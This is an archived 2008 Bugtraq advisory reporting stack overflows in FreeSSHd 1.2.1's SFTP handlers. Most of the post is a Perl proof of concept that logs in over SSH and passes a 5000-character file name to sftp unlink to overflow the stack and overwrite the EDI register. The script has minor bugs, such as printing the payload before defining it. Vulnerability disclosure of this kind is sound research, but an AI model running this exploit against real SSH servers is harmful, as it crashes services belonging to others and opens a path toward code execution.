bugtraq - FreeSSHd Multiple Remote Stack Overflow Vulnerabilities

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-Id: <200812220742.mBM7gxSg003788@www5.securityfocus.com>
Date: Mon, 22 Dec 2008 00:42:59 -0700
From: writ3r-dont-want-bugtraq-spam-@...il.com
To: bugtraq@...urityfocus.com
Subject: FreeSSHd Multiple Remote Stack Overflow Vulnerabilities

# FreeSSHd Multiple Remote Stack Overflow Vulnerabilities. 
#
# Version : 1.2.1
# Advisory: http://www.bmgsec.com.au/advisory/42/
#
# Discovered & written by: 
# r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au)
#
# After Jeremy Brown reported similar buffer overflow vulnerabilities in
# FreeSSHd I forgot about it, and stopped my research on the vulnerabilities.
# Anyway just now I noticed that other vulnerable functions had not been
# reported. So below is a small list, and a small proof of concept. 
# 
# Note: All below functions overwrite EDI register. 
# open (edi)
# unlink (edi)
# mkdir (edi)
# rmdir (edi)
# stat (edi)

use Net::SSH2;

my $user = "root";
my $pass = "yahh";

my $ip = "127.0.0.1";
my $port = 22;

my $ssh2 = Net::SSH2->new();

print "[+] Connecting...\n";
$ssh2->connect($ip, $port) || die "[-] Unable to connect!\n";
$ssh2->auth_password($user, $pass) || "[-] Incorrect credentials\n";
print "[+] Sending payload\n";

print $payload;
my $payload = "A" x 5000;

my $sftp = $ssh2->sftp();
$sftp->unlink($payload);

print "[+] Sent";
$ssh2->disconnect;